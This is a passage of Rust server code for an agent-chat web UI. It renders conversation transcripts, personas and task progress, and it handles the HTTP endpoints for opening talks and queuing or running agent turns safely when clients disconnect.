8109                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8110                    turn.messages.push(talk::Message {
8111                        sender: Some(talk::Sender::Magi),
8112                        body: original.body.clone(),
8113                        display: Some(display),
8114                        attachments: original.attachments.clone(),
8115                        reply: None,
8116                    });
8117                }
8118            } else {
8119                for (i, message) in turn.messages.iter_mut().enumerate() {
8120                    message.display =
8121                        talk::notice_display(&snapshot, original, original.messages.get(i));
8122                    if message.display.is_some() {
8123                        message.sender = Some(talk::Sender::Magi);
8124                    }
8125                }
8126            }
8127        }
8128        for message in &mut talk.pending_messages {
8129            if message.display.is_none()
8130                && (message.sender == Some(talk::Sender::Magi)
8131                    || snapshot
8132                        .completion_notices
8133                        .iter()
8134                        .any(|r| r.notice == message.body))
8135            {
8136                message.display = crate::prompt::legacy_notice_display(&message.body);
8137                if message.display.is_some() {
8138                    message.sender = Some(talk::Sender::Magi);
8139                }
8140            }
8141        }
8142        if talk.pending_messages.is_empty()
8143            && snapshot
8144                .completion_notices
8145                .iter()
8146                .any(|r| r.notice == talk.pending)
8147            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8148        {
8149            talk.pending_messages.push(talk::Message {
8150                sender: Some(talk::Sender::Magi),
8151                display: Some(display),
8152                body: talk.pending.clone(),
8153                attachments: talk.pending_attachments.clone(),
8154                reply: None,
8155            });
8156        }
8157        let excerpts: Vec<Vec<Option<String>>> = talk
8158            .turns
8159            .iter()
8160            .map(|turn| {
8161                turn.messages
8162                    .iter()
8163                    .map(|m| {
8164                        m.display
8165                            .as_ref()
8166                            .map(|d| d.facts.chars().take(240).collect())
8167                    })
8168                    .collect()
8169            })
8170            .collect();
8171        for turn in &mut talk.turns {
8172            let provenance = talk::sender(turn, None);
8173            turn.sender = Some(provenance);
8174            for message in &mut turn.messages {
8175                message.sender = Some(message.sender.unwrap_or(provenance));
8176            }
8177        }
8178        // Old reply snapshots have only a role; recover provenance from their target.
8179        let senders: Vec<Vec<talk::Sender>> = talk
8180            .turns
8181            .iter()
8182            .map(|turn| {
8183                if turn.messages.is_empty() {
8184                    vec![talk::sender(turn, None)]
8185                } else {
8186                    turn.messages
8187                        .iter()
8188                        .map(|m| talk::sender(turn, Some(m)))
8189                        .collect()
8190                }
8191            })
8192            .collect();
8193        for reply in talk
8194            .turns
8195            .iter_mut()
8196            .flat_map(|t| t.messages.iter_mut())
8197            .chain(talk.pending_messages.iter_mut())
8198            .filter_map(|m| m.reply.as_mut())
8199        {
8200            if let Some(Some(excerpt)) = excerpts
8201                .get(reply.target.turn)
8202                .and_then(|ms| ms.get(reply.target.message))
8203            {
8204                reply.excerpt = excerpt.clone();
8205                reply.sender = Some(talk::Sender::Magi);
8206            }
8207            if reply.sender.is_none() {
8208                reply.sender = senders
8209                    .get(reply.target.turn)
8210                    .and_then(|messages| messages.get(reply.target.message))
8211                    .copied();
8212            }
8213        }
8214        let context = talk::context_usage(&talk, cfg);
8215        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8216            .turns
8217            .iter()
8218            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8219            .collect();
8220        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8221            .turns
8222            .iter()
8223            .map(|turn| {
8224                if turn.messages.is_empty() {
8225                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8226                } else {
8227                    turn.messages
8228                        .iter()
8229                        .map(|message| {
8230                            notice_markdown(
8231                                message.sender.unwrap_or(talk::Sender::Operator),
8232                                &message.body,
8233                                message.display.as_ref(),
8234                            )
8235                        })
8236                        .collect()
8237                }
8238            })
8239            .collect();
8240        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8241            .pending_messages
8242            .iter()
8243            .map(|message| {
8244                notice_markdown(
8245                    message.sender.unwrap_or(talk::Sender::Operator),
8246                    &message.body,
8247                    message.display.as_ref(),
8248                )
8249            })
8250            .collect();
8251        for nodes in &mut turn_bodies_md {
8252            references.markdown(nodes);
8253        }
8254        for nodes in turn_messages_md
8255            .iter_mut()
8256            .flatten()
8257            .chain(pending_messages_md.iter_mut())
8258            .flatten()
8259        {
8260            references.markdown(nodes);
8261        }
8262        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8263        let persona_name = persona::find(specs, &talk.persona)
8264            .filter(|p| !p.is_default())
8265            .map(|p| p.name);
8266        let mut avatar_persona = persona::find(specs, &talk.persona)
8267            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8268        // A removed configured persona may still have an override and old talks.
8269        if avatar_persona.id != talk.persona
8270            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8271        {
8272            avatar_persona.id.clone_from(&talk.persona);
8273            avatar_persona.icon = None;
8274        }
8275        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8276        let approvals_store = ask::Questions::at(home.join("questions"));
8277        let merge_approvals = talk
8278            .notified
8279            .iter()
8280            .filter_map(|key| key.strip_prefix("question:"))
8281            .filter_map(|id| approvals_store.get(id).ok())
8282            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8283            .filter_map(|q| {
8284                Some(ChatApproval {
8285                    question: q.id,
8286                    target: q.merge_target?,
8287                })
8288            })
8289            .collect();
8290        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8291        Self {
8292            turn_bodies_md,
8293            turn_messages_md,
8294            pending_messages_md,
8295            merge_approvals,
8296            thinking,
8297            context,
8298            operator_name,
8299            persona_name,
8300            persona_avatar,
8301            magi_avatar: magi_icon_url(home),
8302            operator_avatar: operator_icon_url(home),
8303            talk,
8304        }
8305    }
8306}
8307
8308/// Parse only the user-facing representation of an explicitly identified MAGI send.
8309fn notice_markdown(
8310    sender: talk::Sender,
8311    body: &str,
8312    display: Option<&crate::prompt::NoticeDisplay>,
8313) -> Option<Vec<md::Node>> {
8314    if sender != talk::Sender::Magi {
8315        return None;
8316    }
8317    let text = if let Some(display) = display {
8318        display.facts.as_str()
8319    } else {
8320        // Unknown completion templates may contain internal directives. Never
8321        // promote their agent input to the Markdown display surface.
8322        if crate::prompt::is_completion_notice(body)
8323            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8324        {
8325            return None;
8326        }
8327        body.strip_prefix("magi: ").unwrap_or(body)
8328    };
8329    Some(md::to_nodes(text, &md::ImageBase::None))
8330}
8331
8332/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8333/// conversation has filed, so the phone can follow one from inside the
8334/// conversation that asked for it rather than hunting the Queue for a task id
8335/// it may not remember.
8336#[derive(Debug, Serialize)]
8337struct TalkDetailView {
8338    #[serde(flatten)]
8339    view: TalkView,
8340    tasks: Vec<TaskView>,
8341    task_progress: TalkTaskProgress,
8342    /// The agents this talk's repository can switch to; empty when its
8343    /// configuration cannot be read, which must not fail the whole detail.
8344    roster: Vec<RosterEntry>,
8345    /// The personas the conversation can pick from. The built-ins are always
8346    /// listed, even when the repository's configuration cannot be read.
8347    personas: Vec<PersonaEntry>,
8348}
8349
8350/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8351#[derive(Debug, Serialize)]
8352struct TalkTaskProgress {
8353    state: &'static str,
8354    total: usize,
8355    done: usize,
8356    counts: std::collections::BTreeMap<&'static str, usize>,
8357    unfinished_ids: Vec<String>,
8358}
8359
8360fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8361    let mut counts = std::collections::BTreeMap::from([
8362        ("queued", 0),
8363        ("running", 0),
8364        ("done", 0),
8365        ("failed", 0),
8366        ("held", 0),
8367        ("blocked", 0),
8368        ("parked", 0),
8369    ]);
8370    let mut unfinished_ids = Vec::new();
8371    for task in tasks {
8372        *counts.entry(task.status.as_str()).or_default() += 1;
8373        if task.status != TaskStatus::Done {
8374            unfinished_ids.push(task.id.clone());
8375        }
8376    }
8377    TalkTaskProgress {
8378        state: if tasks.is_empty() {
8379            "none"
8380        } else if unfinished_ids.is_empty() {
8381            "complete"
8382        } else {
8383            "incomplete"
8384        },
8385        total: tasks.len(),
8386        done: tasks.len() - unfinished_ids.len(),
8387        counts,
8388        unfinished_ids,
8389    }
8390}
8391
8392/// One persona as the talk's persona selector shows it.
8393#[derive(Debug, Serialize)]
8394struct PersonaEntry {
8395    id: String,
8396    name: String,
8397    /// Avatar URL, see [`TalkView::persona_avatar`].
8398    avatar: String,
8399}
8400
8401/// One roster agent as the talk's agent selector shows it.
8402#[derive(Debug, Serialize)]
8403struct RosterEntry {
8404    id: String,
8405    kind: AgentKind,
8406    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8407    runnable: bool,
8408}
8409
8410/// `GET /api/talks`.
8411///
8412/// Every conversation, open ones first and newest first - [`Talks::list`]'s
8413/// own order.
8414async fn talks_list(
8415    State(ui): State<Arc<Ui>>,
8416    Query(q): Query<ListQuery>,
8417) -> ApiResult<Json<Vec<TalkView>>> {
8418    blocking(move || {
8419        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8420        let talks = q.ids.as_ref().map_or_else(
8421            || ui.talks.list(),
8422            |ids| {
8423                ids.split(',')
8424                    .filter(|id| plain_record_id(id))
8425                    .filter_map(|id| ui.talks.get(id).ok())
8426                    .collect()
8427            },
8428        );
8429        let references = if talks.iter().any(id_links::has_references) {
8430            ui.references.get(
8431                &ui.runs,
8432                &ui.queue,
8433                &ui.questions,
8434                &ui.talks,
8435                talks.iter().any(id_links::has_findings),
8436            )
8437        } else {
8438            Arc::new(id_links::IdIndex::default())
8439        };
8440        Ok(Json(
8441            talks
8442                .into_iter()
8443                .filter(|talk| q.contains(&talk.id))
8444                .map(|talk| {
8445                    let thinking = ui.is_thinking(&talk.id);
8446                    let cfg = configs
8447                        .entry(talk.repo.clone())
8448                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8449                    TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8450                })
8451                .collect(),
8452        ))
8453    })
8454    .await
8455}
8456
8457/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8458/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8459/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8460/// end still opens a talk against an older binary.
8461#[derive(Debug, Default, Deserialize)]
8462#[serde(default)]
8463struct NewTalk {
8464    agent: Option<String>,
8465    repo: Option<PathBuf>,
8466    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8467    /// wrong type is dropped like a stale value instead of failing the request;
8468    /// each falls back to its default on its own (see [`talk::begin_with`]).
8469    preferred_agent: Option<serde_json::Value>,
8470    persona: Option<serde_json::Value>,
8471    implementers: Option<serde_json::Value>,
8472}
8473
8474/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8475/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8476async fn talk_post(
8477    State(ui): State<Arc<Ui>>,
8478    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8479) -> ApiResult<impl IntoResponse> {
8480    // An absent body, or an empty one, is the normal way to open a talk - see
8481    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8482    // rather than refused.
8483    let body = match body {
8484        Ok(Json(body)) => body,
8485        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8486        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8487    };
8488    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8489    let cfg = config_for(&repo).await?;
8490    let view = blocking(move || {
8491        let preferred = talk::Preferred {
8492            agent: body
8493                .preferred_agent
8494                .as_ref()
8495                .and_then(|v| v.as_str())
8496                .map(str::to_owned),
8497            persona: body
8498                .persona
8499                .as_ref()
8500                .and_then(|v| v.as_str())
8501                .map(str::to_owned),
8502            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8503        };
8504        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8505        let thinking = ui.is_thinking(&talk.id);
8506        Ok(TalkView::new(talk, thinking, &ui))
8507    })
8508    .await?;
8509    Ok((StatusCode::CREATED, Json(view)))
8510}
8511
8512/// Transcript first: unrelated queue history and repository probes are deferred.
8513async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8514    blocking(move || {
8515        let id = resolve_talk(&ui.talks, &id)?;
8516        let talk = ui.talks.get(&id)?;
8517        let thinking = ui.is_thinking(&id);
8518        // The browser already resolves Markdown text/code references after
8519        // rendering. A cold reference/review index must not gate the transcript.
8520        Ok(Json(TalkView::with_references(
8521            talk,
8522            thinking,
8523            None,
8524            &ui.home,
8525            &id_links::IdIndex::default(),
8526        )))
8527    })
8528    .await
8529}
8530
8531async fn talk_sections(
8532    State(ui): State<Arc<Ui>>,
8533    Path(id): Path<String>,
8534) -> ApiResult<Json<serde_json::Value>> {
8535    blocking(move || {
8536        let id = resolve_talk(&ui.talks, &id)?;
8537        let talk = ui.talks.get(&id)?;
8538        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8539        let task_progress = talk_task_progress(&tasks);
8540        let tasks: Vec<_> = tasks
8541            .into_iter()
8542            .map(|task| {
8543                serde_json::json!({
8544                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8545                })
8546            })
8547            .collect();
8548        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8549        let roster: Vec<_> = cfg
8550            .as_ref()
8551            .map(|cfg| {
8552                cfg.agents
8553                    .iter()
8554                    .map(|a| RosterEntry {
8555                        id: a.id.clone(),
8556                        kind: a.kind,
8557                        runnable: agent::installed(a),
8558                    })
8559                    .collect()
8560            })
8561            .unwrap_or_default();
8562        let specs = cfg
8563            .as_ref()
8564            .map(|cfg| cfg.talk.personas.clone())
8565            .unwrap_or_default();
8566        let personas: Vec<_> = persona::catalog(&specs)
8567            .into_iter()
8568            .map(|p| PersonaEntry {
8569                avatar: avatar_url(&ui.home, &talk.id, &p),
8570                id: p.id,
8571                name: p.name,
8572            })
8573            .collect();
8574        let active_persona = persona::find(&specs, &talk.persona)
8575            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8576        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8577        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8578        Ok(Json(serde_json::json!({
8579            "tasks": tasks, "task_progress": task_progress,
8580            "roster": roster, "personas": personas,
8581            "context": talk::context_usage(&talk, cfg.as_ref()),
8582            "context_for": talk.updated_at,
8583            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8584            "persona_name": persona_name,
8585            "persona_avatar": persona_avatar,
8586        })))
8587    })
8588    .await
8589}
8590
8591/// `GET /api/talks/{id}`.
8592async fn talk_detail(
8593    State(ui): State<Arc<Ui>>,
8594    Path(id): Path<String>,
8595) -> ApiResult<Json<TalkDetailView>> {
8596    blocking(move || {
8597        let id = resolve_talk(&ui.talks, &id)?;
8598        let talk = ui.talks.get(&id)?;
8599        let thinking = ui.is_thinking(&talk.id);
8600        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8601        let task_progress = talk_task_progress(&tasks);
8602        let tasks = tasks.into_iter().map(TaskView::from).collect();
8603        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8604        let roster = cfg
8605            .as_ref()
8606            .map(|cfg| {
8607                cfg.agents
8608                    .iter()
8609                    .map(|a| RosterEntry {
8610                        id: a.id.clone(),
8611                        kind: a.kind,
8612                        runnable: agent::installed(a),
8613                    })
8614                    .collect()
8615            })
8616            .unwrap_or_default();
8617        let specs = cfg
8618            .as_ref()
8619            .map(|cfg| cfg.talk.personas.clone())
8620            .unwrap_or_default();
8621        let personas = persona::catalog(&specs)
8622            .into_iter()
8623            .map(|p| PersonaEntry {
8624                avatar: avatar_url(&ui.home, &talk.id, &p),
8625                id: p.id,
8626                name: p.name,
8627            })
8628            .collect();
8629        Ok(Json(TalkDetailView {
8630            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8631            tasks,
8632            task_progress,
8633            roster,
8634            personas,
8635        }))
8636    })
8637    .await
8638}
8639
8640/// The body of `POST /api/talks/{id}/say`.
8641///
8642/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8643/// returned - never bytes of its own - so a turn with no images just omits
8644/// the field, which is what an older front end still does.
8645#[derive(Debug, Default, Deserialize)]
8646#[serde(default, deny_unknown_fields)]
8647struct NewTalkTurn {
8648    reply_to: Option<talk::ReplyTarget>,
8649    text: String,
8650    attachments: Vec<String>,
8651}
8652
8653#[derive(Debug, Deserialize)]
8654#[serde(deny_unknown_fields)]
8655struct EditTalkPending {
8656    #[serde(default)]
8657    message: Option<usize>,
8658    text: String,
8659    expected_text: String,
8660    expected_attachments: Vec<String>,
8661}
8662
8663#[derive(Debug, Deserialize)]
8664#[serde(deny_unknown_fields)]
8665struct ClearTalkPending {
8666    expected_text: String,
8667    expected_attachments: Vec<String>,
8668}
8669
8670/// `POST /api/talks/{id}/say` - one turn of the conversation.
8671///
8672/// Not filesystem work, and therefore not routed through [`blocking`]: this
8673/// route spawns an agent CLI and a turn here can run for the whole of
8674/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8675/// research turn is expected to run commands rather than answer from what it
8676/// already knows. Holding an HTTP connection open that long is not a thing
8677/// to ask a phone to do; the operator's message is recorded and answered for
8678/// immediately, and the reply lands in the background, discovered through
8679/// the change stream's `talks_rev` the same way every other update on this
8680/// surface is.
8681async fn talk_say(
8682    State(ui): State<Arc<Ui>>,
8683    Path(id): Path<String>,
8684    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8685) -> ApiResult<(StatusCode, Json<TalkView>)> {
8686    let admission = ui.begin_admission()?;
8687    admitted(admission, async move {
8688    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8689    if body.text.trim().is_empty() && body.attachments.is_empty() {
8690        return Err(ApiError::bad_request("say something"));
8691    }
8692
8693    let id = {
8694        let ui = Arc::clone(&ui);
8695        let asked = id.clone();
8696        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8697    };
8698    // A closed Talk never accepts a new immediate or queued turn. Check this
8699    // before claiming a slot so its ordinary domain refusal is a 409, not an
8700    // incidental failure from the later record/queue write.
8701    {
8702        let ui = Arc::clone(&ui);
8703        let id = id.clone();
8704        blocking(move || {
8705            let talk = ui.talks.get(&id)?;
8706            if !talk.status.open() {
8707                return Err(ApiError::conflict(format!(
8708                    "talk {} is {} and takes no more turns",
8709                    talk.short(),
8710                    talk.status.as_str()
8711                )));
8712            }
8713            Ok(())
8714        })
8715        .await?;
8716    }
8717
8718    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
8719    // actually stores, before anything is written - an unknown id is a 4xx
8720    // that names it rather than a turn (or a queued draft) silently missing
8721    // an image.
8722    let attachments = {
8723        let ui = Arc::clone(&ui);
8724        let id = id.clone();
8725        let ids = body.attachments.clone();
8726        blocking(move || {
8727            ids.into_iter()
8728                .map(|att_id| {
8729                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8730                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8731                    })
8732                })
8733                .collect::<ApiResult<Vec<talk::Attachment>>>()
8734        })
8735        .await?
8736    };
8737    let _publication = crate::consult::publication_guard(&ui.talks, &id)
8738        .await.map_err(ApiError::from)?;
8739
8740    // Pending recovery and a new immediate turn are decided under the same
8741    // claim lock. Without that one critical section, a second `/say` can see
8742    // the first request's claim as "busy" and append itself to the recovered
8743    // draft before the first request rejects it.
8744    let start = {
8745        let ui = Arc::clone(&ui);
8746        let id = id.clone();
8747        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8748    };
8749    let turn_guard = match start {
8750        TalkTurnStart::Claimed(turn_guard) => turn_guard,
8751        TalkTurnStart::Pending => {
8752            return Err(ApiError::conflict(
8753                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8754            ));
8755        }
8756        TalkTurnStart::Foreign => {
8757            return Err(ApiError::conflict(
8758                "a turn is already running in another process; try again when it has finished",
8759            ));
8760        }
8761        TalkTurnStart::Busy => {
8762            // A turn is already running: queue rather than refuse. See
8763            // `Ui::begin_talk_turn` and `talk::queue`.
8764            //
8765            // The queue write and the drain it may owe live inside the task
8766            // `tokio::spawn` hands to the runtime, for the same reason the
8767            // immediate path below puts `record` there: a dropped handler
8768            // future must not be able to land between a durable write and
8769            // the task that answers it. `blocking` runs its closure on
8770            // `spawn_blocking`, which finishes whether or not anyone is left
8771            // to receive its result - so a disconnect at the `.await` below
8772            // would otherwise leave the draft persisted and the reclaimed
8773            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
8774            // ever started and the queued text stranded until some later
8775            // `say` happened to pick it up. The caller's 202 travels back
8776            // over a `oneshot`, sent the moment the write lands.
8777            let (tx, rx) = tokio::sync::oneshot::channel();
8778            tokio::spawn({
8779                let ui = Arc::clone(&ui);
8780                let id = id.clone();
8781                let said = body.text.clone();
8782                let reply_to = body.reply_to.clone();
8783                async move {
8784                    let written = blocking({
8785                        let ui = Arc::clone(&ui);
8786                        let id = id.clone();
8787                        move || {
8788                            let mut talk = ui.talks.get(&id)?;
8789                            // A test-only stop point, right before the write
8790                            // an interleaving test needs to pin - see
8791                            // `BusyQueueGate`. `None` in every real server:
8792                            // the field only exists under `#[cfg(test)]`.
8793                            #[cfg(test)]
8794                            if let Some(gate) = ui
8795                                .busy_queue_gate
8796                                .lock()
8797                                .unwrap_or_else(PoisonError::into_inner)
8798                                .take()
8799                            {
8800                                let _ = gate.reached.send(());
8801                                let _ = gate.release.recv();
8802                            }
8803                            if let Err(error) = talk::queue_reply(
8804                                &mut talk,
8805                                &ui.talks,
8806                                &said,
8807                                attachments,
8808                                reply_to,
8809                            ) {
8810                                if let Ok(fresh) = ui.talks.get(&id) {
8811                                    if !fresh.status.open() {
8812                                        return Err(ApiError::conflict(format!(
8813                                            "talk {} is {} and takes no more turns",
8814                                            fresh.short(),
8815                                            fresh.status.as_str()
8816                                        )));
8817                                    }
8818                                }
8819                                return Err(
8820                                    if error.to_string().contains("invalid reply target") {
8821                                        ApiError::bad_request("invalid reply target")
8822                                    } else {
8823                                        ApiError::from(error)
8824                                    },
8825                                );
8826                            }
8827                            // The turn that looked busy a moment ago can have
8828                            // finished, found nothing to drain and given up the
8829                            // slot in the gap between that check and this write
8830                            // landing - see `drain_loop`'s own doc for the other
8831                            // half of why that gap would otherwise be able to
8832                            // open at all. Reclaiming the slot here, rather than
8833                            // trusting that whoever held it is still watching, is
8834                            // what stops the text just queued from being stranded
8835                            // until an unrelated future `say` happens to drain
8836                            // it.
8837                            let claim = match ui.begin_queued_talk_turn(&id)? {
8838                                Some(turn_guard) => {
8839                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8840                                    Some((talk.clone(), cfg, turn_guard))
8841                                }
8842                                None => None,
8843                            };
8844                            let thinking = ui.is_thinking(&id);
8845                            Ok((TalkView::new(talk, thinking, &ui), claim))
8846                        }
8847                    })
8848                    .await;
8849                    #[cfg(not(test))]
8850                    {
8851                        match written {
8852                            Ok((view, reclaimed)) => {
8853                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
8854                                drop(reclaimed);
8855                                match launched {
8856                                    Ok(_) => { let _ = tx.send(Ok(view)); }
8857                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8858                                }
8859                            }
8860                            Err(error) => { let _ = tx.send(Err(error)); }
8861                        }
8862                    }
8863                    #[cfg(test)]
8864                    {
8865                    let (view, reclaimed) = match written {
8866                        Ok(pair) => pair,
8867                        Err(e) => {
8868                            // Nobody is listening if the handler's own future
8869                            // was already dropped - that is fine, nothing was
8870                            // persisted and there is no response left to carry
8871                            // this error to.
8872                            let _ = tx.send(Err(e));
8873                            return;
8874                        }
8875                    };
8876                    // If this fails, the caller is gone; the drain below still
8877                    // runs exactly as it would have for a caller that stayed.
8878                    let _ = tx.send(Ok(view));
8879                    if let Some((talk, cfg, turn_guard)) = reclaimed {
8880                        let talks = ui.talks.clone();
8881                        drain_loop(talk, talks, cfg, id, turn_guard).await;
8882                    }
8883                    }
8884                }
8885            });
8886            let view = rx
8887                .await
8888                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8889            return Ok((StatusCode::ACCEPTED, Json(view)));
8890        }
8891    };
8892
8893    let (talk, cfg) = {
8894        let ui = Arc::clone(&ui);
8895        let id = id.clone();
8896        blocking(move || {
8897            let talk = ui.talks.get(&id)?;
8898            let (cfg, _) = Config::discover(&talk.repo, None)?;
8899            Ok((talk, cfg))
8900        })
8901        .await?
8902    };
8903
8904    let talks = ui.talks.clone();
8905    // `record` runs *inside* the spawned task, rather than in this handler
8906    // followed by a separate `tokio::spawn` for `respond` - axum drops this
8907    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
8908    // doc), and that drop can land at any `.await` this function makes,
8909    // including one that has already produced its result but not yet
8910    // resumed. A message could end up recorded on disk with the handler
8911    // future gone before it ever reached the `tokio::spawn` that would have
8912    // started the reply. `tokio::spawn` itself is a plain, synchronous call
8913    // that hands the whole future to the runtime as one unit - once made, no
8914    // later drop of *this* handler's own future (that call's return value is
8915    // never held onto here) can reach back in and stop it, so record and the
8916    // hand-off to `respond` are unconditionally atomic from the client's
8917    // point of view. The immediate response this handler owes the caller
8918    // travels back over a `oneshot`, sent the moment `record` succeeds.
8919    let (tx, rx) = tokio::sync::oneshot::channel();
8920    tokio::spawn({
8921        #[cfg(test)]
8922        let ui = Arc::clone(&ui);
8923        let talks = talks.clone();
8924        let id = id.clone();
8925        let said = body.text.clone();
8926        let reply_to = body.reply_to.clone();
8927        let mut talk = talk.clone();
8928        async move {
8929            let recorded = blocking({
8930                let talks = talks.clone();
8931                move || {
8932                    if let Err(error) =
8933                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8934                    {
8935                        if let Ok(fresh) = talks.get(&talk.id) {
8936                            if !fresh.status.open() {
8937                                return Err(ApiError::conflict(format!(
8938                                    "talk {} is {} and takes no more turns",
8939                                    fresh.short(),
8940                                    fresh.status.as_str()
8941                                )));
8942                            }
8943                        }
8944                        return Err(if error.to_string().contains("invalid reply target") {
8945                            ApiError::bad_request("invalid reply target")
8946                        } else {
8947                            ApiError::from(error)
8948                        });
8949                    }
8950                    // `record` mutates `talk` in place to the freshly persisted
8951                    // state (status, pending, and the just-appended operator
8952                    // turn), so returning it here is equivalent to re-reading it
8953                    // from disk - without the extra round trip a re-read would
8954                    // need.
8955                    Ok((said.trim().to_owned(), talk))
8956                }
8957            })
8958            .await;
8959            let (text, talk) = match recorded {
8960                Ok(pair) => pair,
8961                Err(e) => {
8962                    // Nobody is listening if the handler's own future was
8963                    // already dropped - that is fine, there is no response
8964                    // left to carry this error to and nothing was persisted.
8965                    let _ = tx.send(Err(e));
8966                    return;
8967                }
8968            };
8969            #[cfg(not(test))]
8970            {
8971                let _ = (&cfg, &text);
8972                // The reservation becomes durable while this process still
8973                // holds the talk lease. The child waits for that lease; the
8974                // new UI sees its startup reservation immediately.
8975                let result = crate::consult::spawn_recorded_turn(
8976                    &talks, &id, talk.turns.len() - 1,
8977                ).await;
8978                drop(turn_guard);
8979                match result {
8980                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
8981                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8982                }
8983            }
8984            #[cfg(test)]
8985            {
8986            let queued = talk.clone();
8987            let mut talk = talk;
8988            let thinking = ui.is_thinking(&id);
8989            // If this fails, the caller is gone; the turn still runs below
8990            // exactly as it would have for a caller that stayed connected.
8991            let _ = tx.send(Ok((queued, thinking)));
8992
8993            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8994                // `respond` records the failure in the transcript itself,
8995                // which is what the phone reads; this line is for the
8996                // operator's terminal.
8997                tracing::warn!("talk {id} turn failed: {e:#}");
8998            }
8999            // Anything `talk::queue` added while the turn above was running
9000            // is still owed an answer - see `drain_loop`.
9001            drain_loop(talk, talks, cfg, id, turn_guard).await;
9002            }
9003        }
9004    });
9005
9006    let (queued, thinking) = rx
9007        .await
9008        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9009
9010    // 202: the operator's message is recorded and a turn is running.
9011    Ok((
9012        StatusCode::ACCEPTED,
9013        Json(TalkView::new(queued, thinking, &ui)),
9014    ))
9015    }).await
9016}
9017
9018/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9019/// changing it. The turn guard is the same per-talk ownership `talk_say`
9020/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9021async fn talk_pending_resume(
9022    State(ui): State<Arc<Ui>>,
9023    Path(id): Path<String>,
9024) -> ApiResult<(StatusCode, Json<TalkView>)> {
9025    let admission = ui.begin_admission()?;
9026    admitted(admission, async move {
9027        let id = {
9028            let ui = Arc::clone(&ui);
9029            let asked = id.clone();
9030            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9031        };
9032        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9033            .await
9034            .map_err(ApiError::from)?;
9035        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9036            return Err(ApiError::conflict(
9037                "a talk turn is already running; the queued draft will be handled by it",
9038            ));
9039        };
9040        let (talk, cfg) = {
9041            let ui = Arc::clone(&ui);
9042            let id = id.clone();
9043            blocking(move || {
9044                let talk = ui.talks.get(&id)?;
9045                if !talk.status.open() {
9046                    return Err(ApiError::conflict(format!(
9047                        "talk {} is {} and takes no more turns",
9048                        talk.short(),
9049                        talk.status.as_str()
9050                    )));
9051                }
9052                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
